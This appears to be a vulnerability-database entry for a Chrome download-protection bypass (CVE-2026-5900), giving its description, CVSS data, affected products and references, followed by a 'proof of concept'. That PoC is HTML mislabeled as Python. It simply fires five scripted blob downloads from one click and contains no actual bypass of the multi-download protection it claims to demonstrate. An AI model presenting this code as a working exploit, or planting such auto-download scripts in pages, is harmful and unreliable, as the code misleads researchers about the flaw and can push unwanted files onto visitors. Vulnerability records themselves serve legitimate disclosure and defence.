CVE-2026-5900

Description

Policy bypass in Downloads in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass of multi-download protections via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 147.0.7727.55

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
PoC for CVE-2026-5900: Chrome Download Policy Bypass
This HTML page demonstrates how a crafted page might attempt to bypass multi-download protections.
-->
<!DOCTYPE html>
<html>
<head>
    <title>PoC CVE-2026-5900</title>
</head>
<body>
    <h1>Chrome Download Bypass Test</h1>
    <p>Click the button to test the bypass.</p>
    <button onclick="triggerDownloads()">Download Files</button>

    <script>
        function triggerDownloads() {
            // Loop to create multiple download attempts
            for (let i = 0; i < 5; i++) {
                // Create a dummy blob object to simulate file content
                const fileContent = "This is a test file for CVE-2026-5900.";
                const blob = new Blob([fileContent], { type: 'text/plain' });
                const url = URL.createObjectURL(blob);

                // Create a hidden anchor element to trigger download
                const a = document.createElement('a');
                a.href = url;
                a.download = `bypass_file_${i}.txt`;
                document.body.appendChild(a);
                a.click();
                
                // Cleanup
                document.body.removeChild(a);
                URL.revokeObjectURL(url);
            }
            console.log("Download attempts triggered.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5900
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5900
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5900/
[4] VulDB https://vuldb.com/cve/CVE-2026-5900
[5] https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/475265304

Raw JSON Data

JSON

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